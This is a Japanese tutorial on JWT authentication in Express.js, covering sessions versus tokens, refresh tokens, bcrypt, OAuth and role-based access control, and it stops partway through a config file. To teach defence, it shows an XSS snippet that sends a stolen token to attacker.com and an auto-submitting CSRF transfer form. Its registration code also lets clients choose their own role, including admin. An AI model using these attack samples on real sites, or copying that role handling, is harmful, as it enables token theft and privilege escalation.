サイトアイコンmaita tomoya dev io

JWT認証

API/認証

JWT認証

認証とは何か

Webアプリケーションにおける「認証」は、大きく2つの概念に分かれる。混同されやすいが全く別のもの。

概念英語意味例え
認証Authentication(AuthN)「あなたは誰か」を確認するホテルのフロントで身分証を見せる
認可Authorization(AuthZ)「あなたに何を許可するか」を決めるホテルの部屋のカードキーで入れる部屋が決まる
【認証と認可の流れ】

1. 認証(Authentication)
   ユーザー「IDはtaro、パスワードはxxxです」
   サーバー「確認しました。太郎さんですね」 ← あなたが誰かを確認

2. 認可(Authorization)
   太郎さん「管理画面にアクセスしたい」
   サーバー「太郎さんの権限は"一般ユーザー"なので、管理画面にはアクセスできません」 ← 何ができるかを判断

なぜ認証が必要か

HTTPはステートレス(状態を持たない) なプロトコル。つまり、サーバーは各リクエストが「誰から来たのか」を記憶していない。

認証がないWebアプリを想像してみよう:

  • 誰でも他人のプロフィールを編集できる
  • 誰でも管理者機能を使える
  • 注文履歴が全ユーザーに公開される

つまり認証とは、「このリクエストは確かにこのユーザーから来たもの」と証明する仕組み

認証方式の種類

セッション認証

従来のWebアプリケーションで最も一般的だった方式。

1. ユーザーがログイン
   → サーバーが「セッション」を作成し、セッションIDをCookieに保存

2. 以降のリクエスト
   → ブラウザが自動的にCookieを送信
   → サーバーがセッションIDで「誰か」を特定

ブラウザ                              サーバー                    セッションストア
  |                                     |                           |
  |-- POST /login (ID, PW) ----------->|                           |
  |                                     |-- セッション作成 -------->|
  |                                     |<-- session_id: abc123 ---|
  |<-- Cookie: session_id=abc123 ------|                           |
  |                                     |                           |
  |-- GET /profile                      |                           |
  |   Cookie: session_id=abc123 ------->|                           |
  |                                     |-- abc123を検索 ---------->|
  |                                     |<-- ユーザー情報 ----------|
  |<-- { name: "太郎" } ---------------|                           |

トークン認証(JWT)

セッション情報をサーバー側で保持せず、トークンに情報を含める方式。

1. ユーザーがログイン
   → サーバーがJWTを生成して返す

2. 以降のリクエスト
   → クライアントがAuthorizationヘッダーにJWTを含めて送信
   → サーバーがJWTの署名を検証して「誰か」を特定

ブラウザ                              サーバー
  |                                     |
  |-- POST /login (ID, PW) ----------->|
  |                                     | JWTを生成(秘密鍵で署名)
  |<-- { token: "eyJhbG..." } ---------|
  |                                     |
  |-- GET /profile                      |
  |   Authorization: Bearer eyJhbG... ->|
  |                                     | JWTの署名を検証(秘密鍵で)
  |                                     | トークン内のユーザー情報を取得
  |<-- { name: "太郎" } ---------------|

OAuth

サードパーティのサービス(Google、GitHubなど)を使った認証。

比較表

項目セッション認証JWT認証OAuth 2.0
状態管理サーバー側で保持(ステートフル)トークン内に含む(ステートレス)トークンベース
保存場所サーバーのメモリ/DB + Cookieクライアント側クライアント側
スケーラビリティサーバー間でセッション共有が必要サーバー間で共有不要サーバー間で共有不要
CSRF攻撃脆弱(Cookie自動送信のため)耐性あり(手動でヘッダー設定)耐性あり
XSS攻撃比較的安全(httpOnly Cookie)localStorageは脆弱実装による
無効化セッションを削除すればOK有効期限まで無効化が困難トークン取り消し可能
用途従来のWebアプリSPA、モバイルアプリ、APIソーシャルログイン
実装の複雑さシンプル中程度複雑

JWTとは

JWT(JSON Web Token、発音は「ジョット」)は、JSON形式のデータに電子署名を付けてトークン化したもの。

JWTの3つの構成要素

JWTはピリオド(.)で区切られた3つのパートからなる文字列。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxMjMiLCJuYW1lIjoi5aSq6YOOIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MTE2MTI4MDAsImV4cCI6MTcxMTYxNjQwMH0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
|___________________________|___________________________________|________________________|
      ヘッダー(Header)              ペイロード(Payload)             署名(Signature)

各パートの詳細

1. ヘッダー(Header)

トークンの種類と署名アルゴリズムを指定する。

// Base64デコードすると:
{
  "alg": "HS256", // 署名アルゴリズム(HMAC SHA-256)
  "typ": "JWT" // トークンタイプ
}

2. ペイロード(Payload)

実際のデータ(クレーム)が入っている部分。暗号化されていない(Base64エンコードされているだけ)ため、誰でもデコードして中身を見ることができる。機密情報を入れてはいけない。

// Base64デコードすると:
{
  "userId": "123", // カスタムクレーム
  "name": "太郎", // カスタムクレーム
  "role": "user", // カスタムクレーム
  "iat": 1711612800, // 発行日時(issued at)
  "exp": 1711616400, // 有効期限(expiration)
  "iss": "myapp.com", // 発行者(issuer)
  "sub": "123" // 主題(subject、通常はユーザーID)
}

標準クレーム:

クレーム名前説明
issIssuerトークンの発行者
subSubjectトークンの主題(ユーザーIDなど)
audAudienceトークンの対象者
expExpiration有効期限(Unix timestamp)
iatIssued At発行日時(Unix timestamp)
nbfNot Beforeこの日時より前は無効
jtiJWT IDトークンの一意な識別子

3. 署名(Signature)

ヘッダーとペイロードが改ざんされていないことを証明するための部分。サーバーが持つ秘密鍵で生成される。

署名 = HMAC-SHA256(
  Base64Encode(ヘッダー) + "." + Base64Encode(ペイロード),
  秘密鍵
)

JWTの検証プロセス

1. クライアントがJWTを送信
2. サーバーがJWTを受信
3. ヘッダーとペイロード部分 + 秘密鍵 で署名を再計算
4. 再計算した署名 と トークン内の署名 を比較
   - 一致 → 改ざんされていない(有効)
   - 不一致 → 改ざんされている(無効)
5. 有効期限(exp)のチェック
   - 期限内 → OK
   - 期限切れ → 無効

重要: JWTは「暗号化」ではなく「署名」。 ペイロードの中身は誰でも読める。署名によって保証されるのは「データが改ざんされていないこと」だけ。パスワードやクレジットカード番号などの機密情報をペイロードに含めてはいけない。

Base64デコードの例

Node.jsでJWTの中身を確認する方法。

const token =
  'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxMjMiLCJuYW1lIjoi5aSq6YOOIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MTE2MTI4MDAsImV4cCI6MTcxMTYxNjQwMH0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c'

const parts = token.split('.')
const header = JSON.parse(Buffer.from(parts[0], 'base64').toString())
const payload = JSON.parse(Buffer.from(parts[1], 'base64').toString())

console.log('ヘッダー:', header)
// { alg: 'HS256', typ: 'JWT' }

console.log('ペイロード:', payload)
// { userId: '123', name: '太郎', role: 'user', iat: 1711612800, exp: 1711616400 }

セッション認証 vs JWT

比較項目セッション認証JWT
仕組みサーバーがセッション情報を保存トークンに情報を含める
状態ステートフル(サーバーが状態を持つ)ステートレス(サーバーは状態を持たない)
スケーラビリティサーバーを増やす際にセッション共有が必要(Redis等)サーバー間で共有不要。秘密鍵さえ共有すればOK
サーバー負荷セッションストアへのアクセスが毎回発生署名検証のみ(計算処理)
即時無効化セッションを削除すれば即座に無効化有効期限まで無効化が困難
クロスドメインCookieの制約ありAuthorizationヘッダーで柔軟
モバイル対応Cookieの扱いが面倒ヘッダーに含めるだけで簡単

どちらを選ぶべきか:

ケース推奨方式理由
従来のサーバーレンダリングWebアプリセッション認証シンプル、即時無効化が容易
SPA(React, Vue等)+ APIJWTクロスオリジン対応、ステートレス
モバイルアプリ + APIJWTCookie不要、ヘッダーで送信
マイクロサービスJWTサービス間で状態共有不要

Express.jsでのJWT実装

準備

npm init -y
npm install express jsonwebtoken bcryptjs dotenv
npm install --save-dev nodemon
# .env
PORT=3000
JWT_SECRET=your-super-secret-key-change-this-in-production-12345
JWT_EXPIRES_IN=1h
JWT_REFRESH_SECRET=your-refresh-secret-key-change-this-too-67890
JWT_REFRESH_EXPIRES_IN=7d

全コード例

// app.js
require('dotenv').config()
const express = require('express')
const jwt = require('jsonwebtoken')
const bcrypt = require('bcryptjs')

const app = express()
app.use(express.json())

// ========================================
// 仮のデータベース(実際にはDB使用)
// ========================================
const users = []
const refreshTokens = [] // リフレッシュトークンの保存(実際にはDBに保存)

// ========================================
// ユーティリティ関数
// ========================================

// アクセストークンの生成
function generateAccessToken(user) {
  return jwt.sign(
    { userId: user.id, email: user.email, role: user.role },
    process.env.JWT_SECRET,
    { expiresIn: process.env.JWT_EXPIRES_IN } // 1時間
  )
}

// リフレッシュトークンの生成
function generateRefreshToken(user) {
  return jwt.sign(
    { userId: user.id },
    process.env.JWT_REFRESH_SECRET,
    { expiresIn: process.env.JWT_REFRESH_EXPIRES_IN } // 7日間
  )
}

// ========================================
// 認証ミドルウェア
// ========================================
function authenticate(req, res, next) {
  const authHeader = req.headers.authorization

  if (!authHeader || !authHeader.startsWith('Bearer ')) {
    return res.status(401).json({
      error: { message: '認証トークンが必要です' },
    })
  }

  const token = authHeader.split(' ')[1] // "Bearer <token>" から token部分を取得

  try {
    const decoded = jwt.verify(token, process.env.JWT_SECRET)
    req.user = decoded // デコードされたペイロードをreqに追加
    next()
  } catch (err) {
    if (err.name === 'TokenExpiredError') {
      return res.status(401).json({
        error: { message: 'トークンの有効期限が切れています', code: 'TOKEN_EXPIRED' },
      })
    }
    return res.status(401).json({
      error: { message: '無効なトークンです' },
    })
  }
}

// ========================================
// 認可ミドルウェア(ロールベース)
// ========================================
function authorize(...allowedRoles) {
  return (req, res, next) => {
    if (!req.user) {
      return res.status(401).json({
        error: { message: '認証が必要です' },
      })
    }
    if (!allowedRoles.includes(req.user.role)) {
      return res.status(403).json({
        error: { message: 'この操作を行う権限がありません' },
      })
    }
    next()
  }
}

// ========================================
// ユーザー登録
// POST /api/auth/register
// ========================================
app.post('/api/auth/register', async (req, res) => {
  try {
    const { name, email, password, role } = req.body

    // バリデーション
    if (!name || !email || !password) {
      return res.status(400).json({
        error: { message: '名前、メールアドレス、パスワードは必須です' },
      })
    }

    if (password.length < 8) {
      return res.status(400).json({
        error: { message: 'パスワードは8文字以上で設定してください' },
      })
    }

    // メールアドレスの重複チェック
    if (users.find((u) => u.email === email)) {
      return res.status(409).json({
        error: { message: 'このメールアドレスは既に登録されています' },
      })
    }

    // パスワードのハッシュ化(平文で保存しない!)
    const salt = await bcrypt.genSalt(10)
    const hashedPassword = await bcrypt.hash(password, salt)

    // ユーザーの作成
    const user = {
      id: users.length + 1,
      name,
      email,
      password: hashedPassword, // ハッシュ化されたパスワードを保存
      role: role || 'user',
      createdAt: new Date().toISOString(),
    }
    users.push(user)

    // トークンの生成
    const accessToken = generateAccessToken(user)
    const refreshToken = generateRefreshToken(user)
    refreshTokens.push(refreshToken)

    // パスワードを除外してレスポンス
    const { password: _, ...userWithoutPassword } = user
    res.status(201).json({
      message: 'ユーザー登録が完了しました',
      user: userWithoutPassword,
      accessToken,
      refreshToken,
    })
  } catch (err) {
    console.error('登録エラー:', err)
    res.status(500).json({ error: { message: 'サーバーエラーが発生しました' } })
  }
})

// ========================================
// ログイン
// POST /api/auth/login
// ========================================
app.post('/api/auth/login', async (req, res) => {
  try {
    const { email, password } = req.body

    // バリデーション
    if (!email || !password) {
      return res.status(400).json({
        error: { message: 'メールアドレスとパスワードは必須です' },
      })
    }

    // ユーザーの検索
    const user = users.find((u) => u.email === email)
    if (!user) {
      // セキュリティ: 「メールアドレスが見つかりません」とは言わない
      return res.status(401).json({
        error: { message: 'メールアドレスまたはパスワードが正しくありません' },
      })
    }

    // パスワードの照合
    const isMatch = await bcrypt.compare(password, user.password)
    if (!isMatch) {
      return res.status(401).json({
        error: { message: 'メールアドレスまたはパスワードが正しくありません' },
      })
    }

    // トークンの生成
    const accessToken = generateAccessToken(user)
    const refreshToken = generateRefreshToken(user)
    refreshTokens.push(refreshToken)

    const { password: _, ...userWithoutPassword } = user
    res.json({
      message: 'ログインに成功しました',
      user: userWithoutPassword,
      accessToken,
      refreshToken,
    })
  } catch (err) {
    console.error('ログインエラー:', err)
    res.status(500).json({ error: { message: 'サーバーエラーが発生しました' } })
  }
})

// ========================================
// トークンのリフレッシュ
// POST /api/auth/refresh
// ========================================
app.post('/api/auth/refresh', (req, res) => {
  const { refreshToken } = req.body

  if (!refreshToken) {
    return res.status(400).json({
      error: { message: 'リフレッシュトークンが必要です' },
    })
  }

  // リフレッシュトークンの存在確認
  if (!refreshTokens.includes(refreshToken)) {
    return res.status(403).json({
      error: { message: '無効なリフレッシュトークンです' },
    })
  }

  try {
    const decoded = jwt.verify(refreshToken, process.env.JWT_REFRESH_SECRET)
    const user = users.find((u) => u.id === decoded.userId)

    if (!user) {
      return res.status(404).json({
        error: { message: 'ユーザーが見つかりません' },
      })
    }

    // 新しいアクセストークンを生成
    const newAccessToken = generateAccessToken(user)

    res.json({
      accessToken: newAccessToken,
    })
  } catch (err) {
    return res.status(403).json({
      error: { message: 'リフレッシュトークンの有効期限が切れています' },
    })
  }
})

// ========================================
// ログアウト
// POST /api/auth/logout
// ========================================
app.post('/api/auth/logout', (req, res) => {
  const { refreshToken } = req.body

  // リフレッシュトークンを削除
  const index = refreshTokens.indexOf(refreshToken)
  if (index > -1) {
    refreshTokens.splice(index, 1)
  }

  res.json({ message: 'ログアウトしました' })
})

// ========================================
// 保護されたルート(認証必須)
// ========================================

// プロフィール取得(ログインユーザーのみ)
app.get('/api/profile', authenticate, (req, res) => {
  const user = users.find((u) => u.id === req.user.userId)
  if (!user) {
    return res.status(404).json({ error: { message: 'ユーザーが見つかりません' } })
  }
  const { password, ...userWithoutPassword } = user
  res.json(userWithoutPassword)
})

// 管理者専用ルート(admin権限が必要)
app.get('/api/admin/users', authenticate, authorize('admin'), (req, res) => {
  const usersWithoutPasswords = users.map(({ password, ...u }) => u)
  res.json({ users: usersWithoutPasswords })
})

// モデレーター以上のルート(adminまたはmoderator権限が必要)
app.delete('/api/posts/:id', authenticate, authorize('admin', 'moderator'), (req, res) => {
  res.json({ message: `投稿 ${req.params.id} を削除しました` })
})

// ========================================
// サーバー起動
// ========================================
const PORT = process.env.PORT || 3000
app.listen(PORT, () => {
  console.log(`認証APIサーバーが http://localhost:${PORT} で起動しました`)
})

curlでのテスト

# ユーザー登録
curl -X POST http://localhost:3000/api/auth/register \
  -H "Content-Type: application/json" \
  -d '{"name": "太郎", "email": "taro@example.com", "password": "password123"}'

# ログイン
curl -X POST http://localhost:3000/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email": "taro@example.com", "password": "password123"}'
# → レスポンスの accessToken をコピー

# プロフィール取得(トークン必須)
curl http://localhost:3000/api/profile \
  -H "Authorization: Bearer <ここにaccessTokenを貼り付け>"

# トークンなしでアクセス(401エラーになる)
curl http://localhost:3000/api/profile

# トークンのリフレッシュ
curl -X POST http://localhost:3000/api/auth/refresh \
  -H "Content-Type: application/json" \
  -d '{"refreshToken": "<ここにrefreshTokenを貼り付け>"}'

# ログアウト
curl -X POST http://localhost:3000/api/auth/logout \
  -H "Content-Type: application/json" \
  -d '{"refreshToken": "<ここにrefreshTokenを貼り付け>"}'

アクセストークンとリフレッシュトークン

なぜ2つのトークンが必要なのか

アクセストークンだけでは以下のジレンマが生じる:

  • 有効期限を長くすると → トークンが漏洩した際のリスクが高い
  • 有効期限を短くすると → すぐに期限切れになり、ユーザーが頻繁にログインし直す必要がある

この問題を解決するのが2トークン方式

【2トークン方式の仕組み】

アクセストークン: 有効期限が短い(15分〜1時間)
  → API呼び出しに毎回使用
  → 漏洩しても被害が限定的

リフレッシュトークン: 有効期限が長い(7日〜30日)
  → アクセストークンの再発行にのみ使用
  → サーバー側で無効化可能
ブラウザ                              サーバー
  |                                     |
  |-- POST /login ---------------------->|
  |<-- accessToken(1h) + refreshToken(7d)|
  |                                     |
  |-- GET /api/data                     |
  |   Authorization: Bearer accessToken->|
  |<-- データ --------------------------|
  |                                     |
  |    ... 1時間後、アクセストークン期限切れ ...
  |                                     |
  |-- GET /api/data                     |
  |   Authorization: Bearer accessToken->|
  |<-- 401 TOKEN_EXPIRED ←(期限切れ)--|
  |                                     |
  |-- POST /refresh                     |
  |   { refreshToken: "..." } --------->|
  |<-- 新しいaccessToken(1h) -----------|
  |                                     |
  |-- GET /api/data                     |
  |   Authorization: Bearer 新accessToken>|
  |<-- データ --------------------------|

トークンの有効期限の目安

トークン有効期限理由
アクセストークン15分〜1時間短いほどセキュア。漏洩時の被害を限定
リフレッシュトークン7日〜30日ユーザーの利便性とセキュリティのバランス

トークンの保存場所

比較項目localStoragehttpOnly Cookie
XSS攻撃への耐性脆弱(JavaScriptからアクセス可能)安全(JavaScriptからアクセス不可)
CSRF攻撃への耐性安全(自動送信されない)脆弱(自動送信される)
実装の簡単さ簡単やや複雑(CSRF対策が必要)
クロスドメイン同一オリジンのみSameSite属性で制御
サーバーサイドレンダリング使えない(ブラウザAPIのため)使える

XSS攻撃: 攻撃者がWebページにJavaScriptを注入し、localStorageの中身を盗む攻撃。

// XSS攻撃の例(攻撃者がページに注入するコード)
// localStorageに保存されたトークンを盗む
const token = localStorage.getItem('accessToken')
fetch('https://attacker.com/steal', {
  method: 'POST',
  body: JSON.stringify({ token }),
})
// → httpOnly Cookieならこの攻撃は無効

CSRF攻撃: 別のサイトから、ユーザーのCookieを利用してリクエストを送信する攻撃。

<!-- 攻撃者のサイトに仕込まれたフォーム -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="1000000" />
</form>
<script>
  document.forms[0].submit()
</script>
<!-- → Cookieが自動送信され、ユーザーの認証で送金されてしまう -->
<!-- → localStorageなら自動送信されないので安全 -->

推奨される保存方法

【推奨パターン】
アクセストークン → メモリ(変数)に保存
  → XSSでも盗まれにくい(ただしページリロードで消える)

リフレッシュトークン → httpOnly Cookie
  → JavaScriptからアクセス不可、CSRF対策としてSameSite=Strictを設定
// サーバー側: リフレッシュトークンをhttpOnly Cookieとして設定
app.post('/api/auth/login', async (req, res) => {
  // ... ログイン処理 ...

  const accessToken = generateAccessToken(user)
  const refreshToken = generateRefreshToken(user)

  // リフレッシュトークンをhttpOnly Cookieに設定
  res.cookie('refreshToken', refreshToken, {
    httpOnly: true, // JavaScriptからアクセス不可
    secure: true, // HTTPS接続のみ(本番環境)
    sameSite: 'strict', // 同一サイトからのリクエストのみ
    maxAge: 7 * 24 * 60 * 60 * 1000, // 7日間
    path: '/api/auth/refresh', // リフレッシュエンドポイントのみで送信
  })

  // アクセストークンはJSONで返す(クライアント側でメモリに保存)
  res.json({ accessToken })
})
// クライアント側(React等)
// アクセストークンをメモリに保持
let accessToken = null

async function login(email, password) {
  const res = await fetch('/api/auth/login', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email, password }),
    credentials: 'include', // Cookieを含める
  })
  const data = await res.json()
  accessToken = data.accessToken // メモリに保存
}

async function fetchWithAuth(url) {
  let res = await fetch(url, {
    headers: { Authorization: `Bearer ${accessToken}` },
  })

  // 401が返ったらトークンをリフレッシュ
  if (res.status === 401) {
    const refreshRes = await fetch('/api/auth/refresh', {
      method: 'POST',
      credentials: 'include', // Cookieのリフレッシュトークンを送信
    })
    const refreshData = await refreshRes.json()
    accessToken = refreshData.accessToken

    // リトライ
    res = await fetch(url, {
      headers: { Authorization: `Bearer ${accessToken}` },
    })
  }

  return res.json()
}

bcryptによるパスワードハッシュ化

なぜ平文保存はダメなのか

データベースが漏洩した場合を考える。

【平文保存の場合】
テーブル: users
| id | email            | password     |
|----|------------------|--------------|
| 1  | taro@example.com | password123  |  ← 全ユーザーのパスワードが丸見え!
| 2  | hana@example.com | mysecret456  |

【ハッシュ化保存の場合】
テーブル: users
| id | email            | password                                                     |
|----|------------------|--------------------------------------------------------------|
| 1  | taro@example.com | $2b$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy |
| 2  | hana@example.com | $2b$10$VEBKdGcH5.hy0nt5vU1mnOlCRPYSzPdYqL.2jZo0hIiJbK/sC.Ij6 |
→ 元のパスワードを復元できない(一方向性)

ハッシュ化とソルト

ハッシュ化: データを一定長の不可逆な文字列に変換する処理。同じ入力は常に同じ出力になる。

ソルト: ハッシュ化の前にパスワードに追加するランダムな文字列。同じパスワードでも異なるハッシュ値が生成される。

【ソルトなし(レインボーテーブル攻撃に脆弱)】
"password123" → SHA256 → "ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f"
↑ この変換結果は誰がやっても同じ。事前に計算済みの表(レインボーテーブル)で逆引きできてしまう

【ソルトあり(bcrypt)】
"password123" + ソルト"$2b$10$N9qo8uLOickgx2ZMRZoMye"
→ "$2b$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy"

"password123" + ソルト"$2b$10$VEBKdGcH5.hy0nt5vU1mnO"
→ "$2b$10$VEBKdGcH5.hy0nt5vU1mnOlCRPYSzPdYqL.2jZo0hIiJbK/sC.Ij6"
↑ 同じパスワードでもソルトが違うのでハッシュ値が異なる!

bcryptの使い方

const bcrypt = require('bcryptjs')

// パスワードのハッシュ化
async function hashPassword(plainPassword) {
  // ソルトラウンド: 数値が大きいほど安全だが遅くなる(10〜12が推奨)
  const salt = await bcrypt.genSalt(10)
  const hashed = await bcrypt.hash(plainPassword, salt)
  return hashed
}

// パスワードの照合
async function verifyPassword(plainPassword, hashedPassword) {
  const isMatch = await bcrypt.compare(plainPassword, hashedPassword)
  return isMatch
}

// 使用例
async function demo() {
  const password = 'mySecretPassword'

  // ハッシュ化
  const hashed = await hashPassword(password)
  console.log('ハッシュ:', hashed)
  // → $2b$10$XXXXX...(毎回異なる値になる)

  // 照合
  console.log('正しいPW:', await verifyPassword('mySecretPassword', hashed)) // true
  console.log('間違いPW:', await verifyPassword('wrongPassword', hashed)) // false
}
demo()

bcryptのハッシュ値の構造

$2b$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
|__|__|________________________|__________________________________|
 |   |          |                              |
 |   |          ソルト(22文字)               ハッシュ値(31文字)
 |   コストファクター(10 = 2^10回の計算)
 アルゴリズムバージョン(2b)

JWTの脆弱性と対策

脆弱性内容対策
トークン漏洩XSS攻撃やネットワーク傍受でトークンが盗まれるhttpOnly Cookie、HTTPS必須、短い有効期限
有効期限内の無効化不可トークンを即座に無効化できない短い有効期限 + リフレッシュトークン、ブラックリスト
algフィールドの改ざんalg: "none"にして署名を無効化する攻撃アルゴリズムをサーバー側で固定
秘密鍵の漏洩秘密鍵が漏れると全トークンが偽造可能環境変数で管理、定期的なローテーション
ペイロードの情報漏洩JWTは暗号化されていない機密情報をペイロードに含めない

ブラックリスト方式

JWTの即時無効化が必要な場合(パスワード変更、アカウント停止など)に使う。

const blacklistedTokens = new Set() // 実際にはRedis等を使用

// ログアウト時にトークンをブラックリストに追加
app.post('/api/auth/logout', authenticate, (req, res) => {
  const token = req.headers.authorization.split(' ')[1]
  blacklistedTokens.add(token)
  res.json({ message: 'ログアウトしました' })
})

// 認証ミドルウェアでブラックリストをチェック
function authenticate(req, res, next) {
  const token = req.headers.authorization?.split(' ')[1]
  if (!token) return res.status(401).json({ error: { message: '認証が必要です' } })

  // ブラックリストチェック
  if (blacklistedTokens.has(token)) {
    return res.status(401).json({ error: { message: 'トークンは無効化されています' } })
  }

  try {
    req.user = jwt.verify(token, process.env.JWT_SECRET)
    next()
  } catch (err) {
    return res.status(401).json({ error: { message: '無効なトークンです' } })
  }
}

セキュリティのベストプラクティス

// アルゴリズムをサーバー側で固定する(alg: "none" 攻撃対策)
const decoded = jwt.verify(token, process.env.JWT_SECRET, {
  algorithms: ['HS256'], // 許可するアルゴリズムを明示
})

// 秘密鍵は十分に長くランダムにする
// 悪い例: JWT_SECRET=secret
// 良い例: JWT_SECRET=a3f2c7e9d1b4... (64文字以上のランダム文字列)

// Node.jsで安全な秘密鍵を生成
const crypto = require('crypto')
console.log(crypto.randomBytes(64).toString('hex'))

OAuth 2.0の概要

OAuth 2.0は、ユーザーのパスワードを第三者に教えずに、第三者にリソースへのアクセスを許可するための認可フレームワーク。

身近な例

「GitHubでログイン」ボタンを押した時の裏側。

あなた                     あなたのアプリ                GitHub
  |                             |                        |
  |-- 「GitHubでログイン」 ----->|                        |
  |                             |-- ログインページへ転送 ->|
  |<-- GitHubログイン画面 ------|                        |
  |                             |                        |
  |-- GitHubにID/PW入力 --------|----------------------->|
  |                             |                        | 認証成功
  |                             |<-- 認可コード ---------|
  |                             |                        |
  |                             |-- 認可コード + シークレット -->|
  |                             |<-- アクセストークン --------|
  |                             |                        |
  |                             |-- GET /user (トークン付き) ->|
  |                             |<-- ユーザー情報 -----------|
  |                             |                        |
  |<-- ログイン完了 ------------|                        |

ポイント: ユーザーのGitHubパスワードをあなたのアプリは知らない。GitHubが「この人はOKです」とトークンを発行してくれる。

認可コードフロー(Authorization Code Flow)

最も安全で推奨されるOAuth 2.0のフロー。

1. クライアントがユーザーを認可エンドポイントにリダイレクト
   https://github.com/login/oauth/authorize?
     client_id=YOUR_CLIENT_ID&
     redirect_uri=http://localhost:3000/callback&
     scope=read:user&
     state=random_csrf_token

2. ユーザーがGitHubでログインし、アクセスを許可

3. GitHubがコールバックURLに認可コードを送信
   http://localhost:3000/callback?code=AUTH_CODE&state=random_csrf_token

4. サーバーが認可コードをアクセストークンと交換
   POST https://github.com/login/oauth/access_token
   {
     client_id: YOUR_CLIENT_ID,
     client_secret: YOUR_CLIENT_SECRET,
     code: AUTH_CODE
   }

5. アクセストークンでユーザー情報を取得
   GET https://api.github.com/user
   Authorization: Bearer ACCESS_TOKEN

簡易的なGitHub OAuth実装

const express = require('express')
const app = express()

const CLIENT_ID = process.env.GITHUB_CLIENT_ID
const CLIENT_SECRET = process.env.GITHUB_CLIENT_SECRET
const REDIRECT_URI = 'http://localhost:3000/auth/github/callback'

// 1. GitHubの認証ページにリダイレクト
app.get('/auth/github', (req, res) => {
  const githubAuthUrl = `https://github.com/login/oauth/authorize?client_id=${CLIENT_ID}&redirect_uri=${REDIRECT_URI}&scope=read:user`
  res.redirect(githubAuthUrl)
})

// 2. GitHubからのコールバック処理
app.get('/auth/github/callback', async (req, res) => {
  const { code } = req.query

  // 認可コードをアクセストークンに交換
  const tokenResponse = await fetch('https://github.com/login/oauth/access_token', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      Accept: 'application/json',
    },
    body: JSON.stringify({
      client_id: CLIENT_ID,
      client_secret: CLIENT_SECRET,
      code,
    }),
  })
  const { access_token } = await tokenResponse.json()

  // アクセストークンでユーザー情報を取得
  const userResponse = await fetch('https://api.github.com/user', {
    headers: { Authorization: `Bearer ${access_token}` },
  })
  const githubUser = await userResponse.json()

  // ユーザー情報を使ってログイン/登録処理
  console.log('GitHubユーザー:', githubUser.login, githubUser.email)

  // 自前のJWTを発行してクライアントに返す
  const jwt_token = generateAccessToken({
    id: githubUser.id,
    name: githubUser.login,
    email: githubUser.email,
    role: 'user',
  })

  res.json({ message: 'GitHubログイン成功', token: jwt_token })
})

app.listen(3000)

RBAC(Role-Based Access Control)の実装パターン

RBAC(ロールベースアクセス制御)は、ユーザーに「ロール(役割)」を割り当て、ロールごとにアクセス権限を制御する仕組み。

ロール設計の例

// ロールと権限の定義
const ROLES = {
  admin: {
    name: '管理者',
    permissions: [
      'user:read',
      'user:create',
      'user:update',
      'user:delete',
      'post:read',
      'post:create',
      'post:update',
      'post:delete',
      'comment:read',
      'comment:create',
      'comment:update',
      'comment:delete',
      'admin:access',
    ],
  },
  moderator: {
    name: 'モデレーター',
    permissions: [
      'user:read',
      'post:read',
      'post:update',
      'post:delete',
      'comment:read',
      'comment:update',
      'comment:delete',
    ],
  },
  user: {
    name: '一般ユーザー',
    permissions: ['user:read', 'post:read', 'post:create', 'comment:read', 'comment:create'],
  },
  guest: {
    name: 'ゲスト',
    permissions: ['post:read', 'comment:read'],
  },
}

権限チェックミドルウェア

// 特定の権限を持っているかチェックするミドルウェア
function requirePermission(...requiredPermissions) {
  return (req, res, next) => {
    if (!req.user) {
      return res.status(401).json({ error: { message: '認証が必要です' } })
    }

    const userRole = ROLES[req.user.role]
    if (!userRole) {
      return res.status(403).json({ error: { message: '不明なロールです' } })
    }

    const hasPermission = requiredPermissions.every((permission) =>
      userRole.permissions.includes(permission)
    )

    if (!hasPermission) {
      return res.status(403).json({
        error: {
          message: 'この操作を行う権限がありません',
          required: requiredPermissions,
          userRole: req.user.role,
        },
      })
    }

    next()
  }
}

// 使用例
// 投稿の作成: user以上
app.post('/api/posts', authenticate, requirePermission('post:create'), (req, res) => {
  res.status(201).json({ message: '投稿を作成しました' })
})

// 投稿の削除: moderator以上
app.delete('/api/posts/:id', authenticate, requirePermission('post:delete'), (req, res) => {
  res.json({ message: '投稿を削除しました' })
})

// 管理者画面: admin のみ
app.get('/api/admin/dashboard', authenticate, requirePermission('admin:access'), (req, res) => {
  res.json({ message: '管理者ダッシュボード' })
})

ロール一覧表

権限guestusermoderatoradmin
post:readoooo
post:create-o-o
post:update--oo
post:delete--oo
comment:readoooo
comment:create-ooo
comment:update--oo
comment:delete--oo
user:read-ooo
user:create---o
user:update---o
user:delete---o
admin:access---o

実践例: 認証付きREST APIの全実装

以下は、ここまで学んだ全ての概念を組み合わせた実践的な認証付きAPIの完全な実装。

ディレクトリ構成

auth-api/
├── .env
├── package.json
├── app.js              ← エントリーポイント
├── config/
│   └── index.js        ← 設定値の管理
├── middleware/
│   ├── auth.js         ← 認証ミドルウェア
│   ├── rbac.js         ← 認可ミドルウェア
│   ├── validate.js     ← バリデーションミドルウェア
│   └── errorHandler.js ← エラーハンドリング
├── routes/
│   ├── auth.js         ← 認証ルート
│   ├── users.js        ← ユーザーCRUD
│   └── posts.js        ← 投稿CRUD
├── schemas/
│   └── index.js        ← zodスキーマ定義
└── utils/
    └── token.js        ← トークン生成ユーティリティ

各ファイルの実装

// config/index.js
require('dotenv').config()

module.exports = {
  port: process.env.PORT || 3000,
  jwtSecret: process.env.JWT_SECRET,
